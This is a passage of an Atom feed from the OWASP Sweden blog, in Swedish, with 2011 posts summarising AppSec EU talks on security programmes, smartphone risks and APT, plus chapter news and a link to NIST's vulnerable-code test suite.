är att upptäcka "elaka" händelser och agera på dem utan att för den sakens skull råka utsätta användare som gör oväntade saker för negativa konsekvenser.&lt;br /&gt;&lt;br /&gt;För stunden är AppSensor till stor del på ett idéstadie, där man själv får stå för implementationen. Det finns viss förvisso kod inlagd i ESAPI, men än så länge läggs alltså mycket av implementering på de enskilda applikationerna som väljer att använda sig av informationen i AppSensor Project. Det som kan komma framöver är exempelvis en dashboard som det visades ett demo på idag. Via en ordentlig dashboard skulle information bli lättillgänglig även för ledningen, som då skulle få en mycket större insikt i de faktiska angreppsförsök som nästan alla applikationer på Internet råkar ut för. Och i det ligger naturligtvis mycket pedagogiskt värde.&lt;br /&gt;&lt;br /&gt;Det ska bli riktigt intressant att se hur det här projektet utvecklar sig de kommande åren. Om jag får spekulera är det här något som vi kommer få se mycket mer av i särskilt säkerhetskritiska applikationer.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4444008401857088382-5723594417688655425?l=owaspsweden.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://owaspsweden.blogspot.com/feeds/5723594417688655425/comments/default' title='Kommentarer till inlägget'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4444008401857088382&amp;postID=5723594417688655425' title='0 kommentarer'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/5723594417688655425'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/5723594417688655425'/><link rel='alternate' type='text/html' href='http://owaspsweden.blogspot.com/2011/06/owasp-appsensor-project.html' title='OWASP AppSensor Project'/><author><name>Carl-Johan Bostorp</name><uri>http://www.blogger.com/profile/17770573733500572848</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4444008401857088382.post-3472841312221514890</id><published>2011-06-09T16:51:00.007+02:00</published><updated>2011-06-11T17:36:07.076+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='AppSec EU 2011'/><title type='text'>Integrating security testing into a SDLC: what we learned and have the scars to prove it</title><content type='html'>Mark Crosbie från IBM höll en underhållande presentation om några utmaningar IBM stött på under sina ansträngningar att få sina produkter säkrare:&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Metrics for Management&lt;/li&gt;&lt;li&gt;Shift security left&lt;/li&gt;&lt;li&gt;Security defect database&lt;/li&gt;&lt;li&gt;That's not my job&lt;/li&gt;&lt;li&gt;Make it fun&lt;/li&gt;&lt;li&gt;Make it easy&lt;/li&gt;&lt;li&gt;Settling differences&lt;/li&gt;&lt;/ul&gt;Några av nyckelgrejerna jag tog med mig från det hela:&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Två magnituder mindre säkerhersbrister genom att ge utvecklarna verktygen och berätta vad han kommer göra vid slutet av utvecklingen. Det vill säga ge utvecklare möjligheten att göra samma sak och fixa sårbarheter innan de når så långt och innan utvecklare "får skit" för att de skrivit sårbar kod.&lt;/li&gt;&lt;li&gt;Ge stöd åt de utvecklare som visar framfötterna kommer öka effekten av anstränningarna flerfalt. De blir vänner på insidan och hjälper stort.&lt;/li&gt;&lt;li&gt;Använd CVSS för att ge siffror åt sårbarheter. Diskussionen blir då "varför skulle 8.3 vara ett felaktigt värde för den här sårbarheten" som ger andra svar än det tidigare vanligaste svaret "men ingen kommer ju exploita det där, det behöver vi inte fixa".&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;Ett par andra trevliga tips under "make-it-fun" kategorin var att köra luncha-och-lär, och interna capture-the-flags/hacking tävlingar. Tävlingarna hade gett mycket större effekt än väntat.&lt;br /&gt;&lt;br /&gt;På det hela taget en presentation som uppfyllde mina höga förväntningar. Alla tillfällen att lyssna på personer som har erfarenhet från att pusha ut säker utveckling i stora bolag är bra tillfällen. Teorier i all ära, men i verkligheten måste man vara praktisk och använda sig av det som fungerar bäst i just bolaget man är med de människor och processer som finns där. Därför avslutar jag den här posten med ett citat från Mark:&lt;br /&gt;&lt;blockquote&gt;"It's all about small wins in a big war."&lt;/blockquote&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4444008401857088382-3472841312221514890?l=owaspsweden.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://owaspsweden.blogspot.com/feeds/3472841312221514890/comments/default' title='Kommentarer till inlägget'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4444008401857088382&amp;postID=3472841312221514890' title='0 kommentarer'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/3472841312221514890'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/3472841312221514890'/><link rel='alternate' type='text/html' href='http://owaspsweden.blogspot.com/2011/06/mark-crosbie-holl-en-underhallande.html' title='Integrating security testing into a SDLC: what we learned and have the scars to prove it'/><author><name>Carl-Johan Bostorp</name><uri>http://www.blogger.com/profile/17770573733500572848</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4444008401857088382.post-4419131325648479747</id><published>2011-06-09T15:29:00.003+02:00</published><updated>2011-06-11T17:35:50.491+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='AppSec EU 2011'/><title type='text'>Keynote 2: Giles Hogben, ENISA om Smartphones</title><content type='html'>ENISA har arbetat med risker för smartphones. De har skapat en &lt;a href="http://www.enisa.europa.eu/act/it/oar/smartphones-information-security-risks-opportunities-and-recommendations-for-users/at_download/fullReport"&gt;rapport&lt;/a&gt; med en top 10 lista och bedömer riskerna utifrån tre typanvändares perspektiv: konsumenten, den anställde och den högt uppsatte ledaren.&lt;br /&gt;&lt;br /&gt;Top 3 av de top 10:&lt;br /&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Tappad smartphone leder till dataläckage. Siffror från storbrittaniens myndigheter: 2% av alla enheter 2008 borttappade&lt;/li&gt;&lt;li&gt;Data som delas utan vetskap och avsikt. Inom telefonen kan det ske genom delade resurser (adressbok, tangentbordscache); externt genom exempelvis geo-taggning av bilder.&lt;/li&gt;&lt;li&gt;Telefoner som ges bort eller slängs. I en studie köptes 26 telefoner online. Två av dessa innehöll pinsamma detaljer där ägaren också kunde identifieras. På sju telefoner kunde arbetsgivaren identifieras.&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;Det finns också några möjligheter att skydda data: sandboxing, kontrollerad mjukvarudistribution, backup och återställning, tvåfaktorsauth, extra krypteringsmöjligheter. ENISA har dessutom tagit fram rekommendationer som i princip kan användas som färdiga policies för hur top 10 riskerna ska bemötas. Helt klart något för alla säkerhetsmedvetna organisationer att kika på!&lt;br /&gt;&lt;br /&gt;På utvecklingssidan finns numera inom OWASP finns numera "&lt;a href="https://www.owasp.org/index.php/OWASP_Mobile_Security_Project"&gt;Mobile Security Project&lt;/a&gt;" som är en samlingspunkt för flera Bra Saker, inklusive riktlinjer för att utveckla säkra applikationer till mobiler.&lt;br /&gt;&lt;br /&gt;Även marknadsplatser och risker + skydd kring dem behandlades. Fem försvar (kill switch, ta bort mjukvara, rykte, kontrollera mjukvaran innan den läggs upp, identifikation av utvecklarna) används för att bemöta t.ex. appar som surfar på andra appars eller andra märkes namn. Något som nära relaterat till en artikel i DN häromveckan.&lt;br /&gt;&lt;br /&gt;Generellt konstaterar jag själv att smartphones har slagit igenom väldigt snabbt tack vare värdefull funktionalitet. Det är otroligt viktigt att det finns aktörer som ENISA Som hjälper till att få fram ett säkert användande av dem, något som vi i dagsläget ligger klart efter med och vars betydelse säkerligen kommer växa de närmsta åren.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4444008401857088382-4419131325648479747?l=owaspsweden.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://owaspsweden.blogspot.com/feeds/4419131325648479747/comments/default' title='Kommentarer till inlägget'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4444008401857088382&amp;postID=4419131325648479747' title='0 kommentarer'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/4419131325648479747'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/4419131325648479747'/><link rel='alternate' type='text/html' href='http://owaspsweden.blogspot.com/2011/06/keynote-2-giles-hogben-enisa-om.html' title='Keynote 2: Giles Hogben, ENISA om Smartphones'/><author><name>Carl-Johan Bostorp</name><uri>http://www.blogger.com/profile/17770573733500572848</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4444008401857088382.post-6893719706541668681</id><published>2011-06-09T12:35:00.003+02:00</published><updated>2011-06-11T17:35:38.134+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='AppSec EU 2011'/><title type='text'>APT in a Nutshell</title><content type='html'>David Stubley från 7 Elements höll sin presentation om uttrycket Advanced Persistent Threat (APT).&lt;br /&gt;&lt;br /&gt;Vad Advanced Persistent Threat (APT) handlar om är angripare med mycket hög kapacitet och intention att angripa. Sättet de angriper på är inte så viktigt, så de kommer förmodligen ta det enklast möjliga. Principiellt kan man säga att det handlar om statssponsrade aktiviteter. Eftersom begreppet har fått mycket uppmärksamhet i media har det dock kapats av produkttillverkare som vill pusha sina lösningar, men enligt David så kommer inga produkter vara någon silverkula och allt som kommer från tillverkarna är bullshit.&lt;br /&gt;&lt;br /&gt;Ämnet ligger då förstås extremt nära &lt;a href="http://halkrisk.blogspot.com/search/label/Cyberkrig"&gt;cyberkrig&lt;/a&gt;. Ser man bakåt i tiden på hur media rapporterat om ämnet innan det hade namnet APT så kan rapportering hittas från år 2000 och framåt. Ofta är det Kina som pekats ut som angriparna, men på senare tid har även fler västnationer så som USA och Frankrike pekats ut i media. Man kan också konstatera att då tiden rört sig framåt har fler än de uppenbara målen blivit måltavlor. Fram tills alldeles nyligen var det enbart direkt statliga aktörer som drabbades, men nu har också privata näringslivet börjat drabbas, så som Google och RSA.&lt;br /&gt;&lt;br /&gt;Hur vet man då om det här är något man behöver bry sig om? Den enkla frågan är: gör du något som en statlig aktör är intresserad av?&lt;br /&gt;&lt;br /&gt;Och är man ett mål för det, vad kan man göra? David menar att allt behöver styras av en förståelse för affärsmål och vilken riskmiljö man befinner sig i. Han pushar för incidenthantering, anomalidetektion och det lite mindre väntade: att hantera all data som känslig data. En metod som används av dessa angripare är nämligen att data samlas ihop och tolkas, och genom den mängden av data kommer de ofta vidare.&lt;br /&gt;&lt;br /&gt;Han slår också ett slag mot att APT nödvändigtvis involverar 0-day angrepp. Så behöver naturligtvis inte vara fallet, utan det är beroende på vilket målet är och vad som krävs för att komma in där.&lt;br /&gt;&lt;br /&gt;På det hela taget så anser jag att begrepp som APT bara kan tillföra medvetenhet till de organisationer och personer som ännu inte uppmärksammat den utökade attackytan som cybervärlden innebär. För att försvara sig kommer man ändå landa på "traditionella" sätt att upptäcka och hantera intrång, och det behöver precis som alltid vara dimensionerat enligt vilka hot som finns för verksamheten. För en del verksamheter är hotet väldigt stort och då behöver även skyddet vara det. Så är det, och kommer alltid vara.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4444008401857088382-6893719706541668681?l=owaspsweden.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://owaspsweden.blogspot.com/feeds/6893719706541668681/comments/default' title='Kommentarer till inlägget'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4444008401857088382&amp;postID=6893719706541668681' title='0 kommentarer'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/6893719706541668681'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/6893719706541668681'/><link rel='alternate' type='text/html' href='http://owaspsweden.blogspot.com/2011/06/apt-in-nutshell.html' title='APT in a Nutshell'/><author><name>Carl-Johan Bostorp</name><uri>http://www.blogger.com/profile/17770573733500572848</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4444008401857088382.post-7526520314510229907</id><published>2011-06-09T11:41:00.005+02:00</published><updated>2011-06-11T17:35:25.208+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='AppSec EU 2011'/><title type='text'>AppSec EU 2011: Keynote från Brad Arkin på Adobe</title><content type='html'>Hej,&lt;br /&gt;&lt;br /&gt;Vi är ett fåtal svenskar som sitter här på AppSec EU, och jag (Carl-Johan Bostorp) är en av dem tack vare min arbetsgivare &lt;a href="http://www.cybercom.se/"&gt;Cybercom.&lt;/a&gt; Jag kommer blogga från konferens med sammanfattningar från de presentationer jag går på.&lt;br /&gt;&lt;span style="display: block;" id="formatbar_Buttons"&gt;&lt;span onmouseover="ButtonHoverOn(this);" onmouseout="ButtonHoverOff(this);" onmouseup="" onmousedown="CheckFormatting(event);FormatbarButton('richeditorframe', this, 8);ButtonMouseDown(this);" class=" down" style="display: block;" id="formatbar_CreateLink" title="Länk"&gt;&lt;img src="http://www.blogger.com/img/blank.gif" alt="Länk" class="gl_link" border="0" /&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;Först ut var en keynote från Brad Arkin på &lt;a href="http://adobe.com/security"&gt;Adobe&lt;/a&gt;. Min första tanke när jag såg det var om Adobe som har så många säkerhetsproblem verkligen har något att lära ut, men Brads keynote var faktiskt mycket intressant.&lt;br /&gt;&lt;br /&gt;Adobe utgår från affärsmålet att de vill att deras kunder ska vara nöjda över säkerheten i Adobes produkter. För att komma dit har Adobe antagit en strategi med tre mål vad gäller säkerhet:&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Håll kunderna uppdaterade. Ifall en patch inte når ut till alla maskiner spelar det ingen roll att en patch har utvecklats. En förkrossande majoritet av de datorer som exploitas sker med gamla kända hål där en patch finns ute, inte 0-day. &lt;/li&gt;&lt;li&gt;Säker kod.&lt;/li&gt;&lt;li&gt;Kontakt med omvärlden. Svara bra på rapporter. &lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;Återigen har vi också fått höra om vikten av stöd från organisationstoppen för att det ska gå att nå ut med säkerhet i organisationen. Brad har ett stående möte med CEO en gång i månaden, och varje gång styrelsen har möte finns en slide med om säkerhet. Det är mycket jobb att nå ut till hela organisationen, och stöter man på några problem med det så kommer det lösa sig ifall stödet kommer från tillräckligt hög ort.&lt;br /&gt;&lt;br /&gt;Det är även konstaterat ännu en gång att säkerhet måste ut i organisationen. Det är de som verkligen producerar som behöver ha kunnande och känna sig engagerade för att det ska ge resultat. Och utifrån det var det inte så förvånande att Brad spenderade en stor del av tiden att prata om hur Adobes utbildningsprogram såg ut. Det fanns en klar betoning i att utbildningen skulle vara positivt betonad och utbildningen är INTE obligatorisk. IStället har fokus legat på att skapa positiva fördelar för de som går utbildningarna - som för övtigt inte är i klassrum utan istället är uppdelade i moduler som finns tillgängliga via intranätet.&lt;br /&gt;&lt;br /&gt;En särskilt intressant sak tyckte jag var att man på Adobe kan uppnå olika nivåer efter att man antingen utbildat sig eller för de högre nivåerna - engagerat sig i projekt och åstadkommit något över en längre period. De tidigare nivåerna var relativt lätta att uppnå, men de högre krävde en signifikant investering för att nå. Dessa nivåer syntes dessutom på individernas profiler på intranätet/det sociala nätverket.&lt;br /&gt;&lt;br /&gt;På det hela var det en intressant keynote med mycket matnyttigt. Ska man implementera säker utveckling i en stor organisation är det högst rekommenderat att se den inspelade presentationen.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4444008401857088382-7526520314510229907?l=owaspsweden.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://owaspsweden.blogspot.com/feeds/7526520314510229907/comments/default' title='Kommentarer till inlägget'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4444008401857088382&amp;postID=7526520314510229907' title='0 kommentarer'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/7526520314510229907'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/7526520314510229907'/><link rel='alternate' type='text/html' href='http://owaspsweden.blogspot.com/2011/06/appsec-eu-2011-keynote-fran-brad-arkin.html' title='AppSec EU 2011: Keynote från Brad Arkin på Adobe'/><author><name>Carl-Johan Bostorp</name><uri>http://www.blogger.com/profile/17770573733500572848</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4444008401857088382.post-3172577408172480129</id><published>2011-06-07T23:15:00.000+02:00</published><updated>2011-06-07T23:15:46.864+02:00</updated><title type='text'>Välkomnar tre nya skribenter</title><content type='html'>Idag välkomnar vi tre nya skribenter här på OWASP Sweden-bloggen. Nämligen OWASP Gothenburgs tre co-leaders Jonas Magazinius, Mattias Jidhage och Ulf Larson. De får presentera sig själva i takt med att de vill skriva något. Alla tre trevliga och kompetenta, det är det enda jag kommer säga.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4444008401857088382-3172577408172480129?l=owaspsweden.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://owaspsweden.blogspot.com/feeds/3172577408172480129/comments/default' title='Kommentarer till inlägget'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4444008401857088382&amp;postID=3172577408172480129' title='0 kommentarer'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/3172577408172480129'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/3172577408172480129'/><link rel='alternate' type='text/html' href='http://owaspsweden.blogspot.com/2011/06/valkomnar-tre-nya-skribenter.html' title='Välkomnar tre nya skribenter'/><author><name>John Wilander</name><uri>http://www.blogger.com/profile/12586406716617551079</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_tONVxa3WGQM/SoKElzN1hhI/AAAAAAAAAOo/6w0r1s-2Y1s/S220/090626-346-ed-sk.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4444008401857088382.post-1184419563143386583</id><published>2011-06-04T00:15:00.005+02:00</published><updated>2011-06-04T01:12:07.857+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Twitter'/><category scheme='http://www.blogger.com/atom/ns#' term='Göteborg'/><title type='text'>Twitter tar över ... och Gbg startar!</title><content type='html'>Det var länge sedan jag skrev något på den här bloggen och skrivtakten har gått ned ett bra tag nu. Tro mig, det har malt i mitt huvud. Men jag är en person som tror på utveckling och det är bara att konstatera att Twitter totalt har tagit över nyhetsflödet inom appsäk. För ett år sedan &lt;a href="http://owaspsweden.blogspot.com/2010/05/sakerhetsfolk-pa-twitter.html"&gt;skrev jag om det här&lt;/a&gt; och sedan dess har det gått fort.&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif; font-size: large;"&gt;&lt;b&gt;Börja med Twitter om du inte redan gjort det&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;2679 tweets från mitt håll hittills. På intet sätt ett rekord men ändock ett bevis på att bloggandet har ersatts av twittrande, särskilt för min egen del. Bloggar har blivit en plats för egenproducerat material, inte nyheter.&lt;br /&gt;&lt;br /&gt;Twitter är ett oslagbart flöde av lästips, intressanta tankar och lajvdiskussioner om exempelvis hacken mot Sony, RSA och Comodo eller om vilka som börjat använda &lt;i&gt;content security policy&lt;/i&gt;&amp;nbsp;och hur det gått. Över tid så mejslar du fram exakt den mix du vill ha. Kanske 60% appsäk, 30% fotboll, 5% politik och 5% surdegsbak?&lt;br /&gt;&lt;br /&gt;För att komma igång så kommer här mina tio tips på bra konton att följa inom appsäk, främst webb:&lt;br /&gt;&lt;ol&gt;&lt;li&gt;&lt;a href="https://twitter.com/owasp"&gt;@owasp&lt;/a&gt;&amp;nbsp;:)&lt;/li&gt;&lt;li&gt;&lt;a href="https://twitter.com/theharmonyguy"&gt;@theharmonyguy&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="https://twitter.com/internot_"&gt;@internot_&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="https://twitter.com/securityninja"&gt;@securityninja&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="https://twitter.com/_mwc"&gt;@_mwc&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="https://twitter.com/0x6D6172696F"&gt;@0x6D6172696F&lt;/a&gt; (Mario)&lt;/li&gt;&lt;li&gt;&lt;a href="https://twitter.com/webtonull"&gt;@webtonull&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="https://twitter.com/garethheyes"&gt;@garethheyes&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="https://twitter.com/jeremiahg"&gt;@jeremiahg&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="https://twitter.com/WisecWisec"&gt;@WisecWisec&lt;/a&gt;&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;OWASP Sweden-bloggen kommer förstås finnas kvar. Nyheter om OWASP i Sverige kommer fortsätta att annonseras här och kanske kommer en ny våg av appsäk-nyheter på svenska.&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif; font-size: large;"&gt;&lt;b&gt;OWASP Gothenburg på gång&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;Efter en lyckad seminariekväll i Göteborg i april så har de formerat sig och kommer inom kort ha officiell status som chapter. Det betyder att OWASP Sweden kommer bestå av två chapter – OWASP Gothenburg och OWASP Stockholm. Planen är att behålla mejlinglistan som den är och att Göteborgsledarna också går in som moderatorer. Samma sak här på bloggen. Så vem vet, kanske är det västkusten som kommer blogga loss här 2011?&lt;br /&gt;&lt;br /&gt;Hur som helst vill jag önska göteborgarna lycka till! De lär höra av sig, inte minst på mejlinglistan.&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif; font-size: large;"&gt;&lt;b&gt;Psst ... Musiken finns nu&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;Jag har ju nämnt mitt musikprojekt några gånger. Tro det eller ej, nu finns tolv låtar att lyssna på och anonymt betygsätta. Bara att klicka sig in på &lt;a href="http://www.johnwilander.com/"&gt;www.johnwilander.com&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Vi ses på Twitter!&lt;br /&gt;&lt;br /&gt;/John (&lt;a href="https://twitter.com/johnwilander"&gt;@johnwilander&lt;/a&gt;)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4444008401857088382-1184419563143386583?l=owaspsweden.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://owaspsweden.blogspot.com/feeds/1184419563143386583/comments/default' title='Kommentarer till inlägget'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4444008401857088382&amp;postID=1184419563143386583' title='0 kommentarer'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/1184419563143386583'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/1184419563143386583'/><link rel='alternate' type='text/html' href='http://owaspsweden.blogspot.com/2011/06/twitter-tar-over-och-gbg-startar.html' title='Twitter tar över ... och Gbg startar!'/><author><name>John Wilander</name><uri>http://www.blogger.com/profile/12586406716617551079</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_tONVxa3WGQM/SoKElzN1hhI/AAAAAAAAAOo/6w0r1s-2Y1s/S220/090626-346-ed-sk.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4444008401857088382.post-8918440049161185318</id><published>2011-03-30T21:49:00.001+02:00</published><updated>2011-03-30T21:49:33.175+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='C'/><category scheme='http://www.blogger.com/atom/ns#' term='Java'/><category scheme='http://www.blogger.com/atom/ns#' term='kodexempel'/><category scheme='http://www.blogger.com/atom/ns#' term='sårbar kod'/><category scheme='http://www.blogger.com/atom/ns#' term='C++'/><title type='text'>USA/NIST släpper 59.000 sårbara kodexempel i Java och C/C++</title><content type='html'>&lt;a href="https://twitter.com/planetlevel"&gt;Jeff Williams&lt;/a&gt;, ordförande i OWASP har lyckats övertyga mydigheter i USA att tillgängliggöra de sårbara kodexempel de använder för att utvärdera analys- och skanningsverktyg.&lt;br /&gt;&lt;br /&gt;13.782 testfall i Java som täcker 106 CWE:er&lt;br /&gt;45.309 testfall i C/C++ som täcker 116 CWE:er&lt;br /&gt;&lt;br /&gt;Kodexemplen hittar ni &lt;a href="http://samate.nist.gov/SRD/testsuite.php"&gt;här&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4444008401857088382-8918440049161185318?l=owaspsweden.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://owaspsweden.blogspot.com/feeds/8918440049161185318/comments/default' title='Kommentarer till inlägget'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4444008401857088382&amp;postID=8918440049161185318' title='0 kommentarer'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/8918440049161185318'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/8918440049161185318'/><link rel='alternate' type='text/html' href='http://owaspsweden.blogspot.com/2011/03/usanist-slapper-59000-sarbara.html' title='USA/NIST släpper 59.000 sårbara kodexempel i Java och C/C++'/><author><name>John Wilander</name><uri>http://www.blogger.com/profile/12586406716617551079</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_tONVxa3WGQM/SoKElzN1hhI/AAAAAAAAAOo/6w0r1s-2Y1s/S220/090626-346-ed-sk.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4444008401857088382.post-1130770050554349871</id><published>2011-03-26T01:17:00.001+01:00</published><updated>2011-03-28T12:14:02.634+02:00</updated><title type='text'>Intervju om Firefox 4 och webbläsarsäkerhet</title><content type='html'>Chaouki Bekrar, VD och forskningschef för &lt;a href="http://www.vupen.com/"&gt;Vupen&lt;/a&gt;, och jag intervjuades av SecurityVibes gällande nya säkerhetsfeatures i Firefox 4 och hur Firefox står sig säkerhetsmässigt&amp;nbsp;jämfört&amp;nbsp;med andra webbläsare. Intervjun finns &lt;a href="http://www.securityvibes.com/community/en/blog/2011/03/25/firefox-4-and-the-state-of-browser-security--the-expert-view"&gt;här&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4444008401857088382-1130770050554349871?l=owaspsweden.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://owaspsweden.blogspot.com/feeds/1130770050554349871/comments/default' title='Kommentarer till inlägget'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4444008401857088382&amp;postID=1130770050554349871' title='0 kommentarer'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/1130770050554349871'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/1130770050554349871'/><link rel='alternate' type='text/html' href='http://owaspsweden.blogspot.com/2011/03/intervju-om-firefox-4-och.html' title='Intervju om Firefox 4 och webbläsarsäkerhet'/><author><name>John Wilander</name><uri>http://www.blogger.com/profile/12586406716617551079</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_tONVxa3WGQM/SoKElzN1hhI/AAAAAAAAAOo/6w0r1s-2Y1s/S220/090626-346-ed-sk.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4444008401857088382.post-8624579466084491496</id><published>2011-03-24T16:33:00.000+01:00</published><updated>2011-03-24T16:33:41.510+01:00</updated><title type='text'>Allt går att hacka (RSA, Comodo, TripAdvisor)</title><content type='html'>De senaste två veckorna har varit bedrövliga ur säkerhetssynpunkt.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;RSA&lt;/b&gt;&lt;br /&gt;Först var det RSA-hacket som Schneier &lt;a 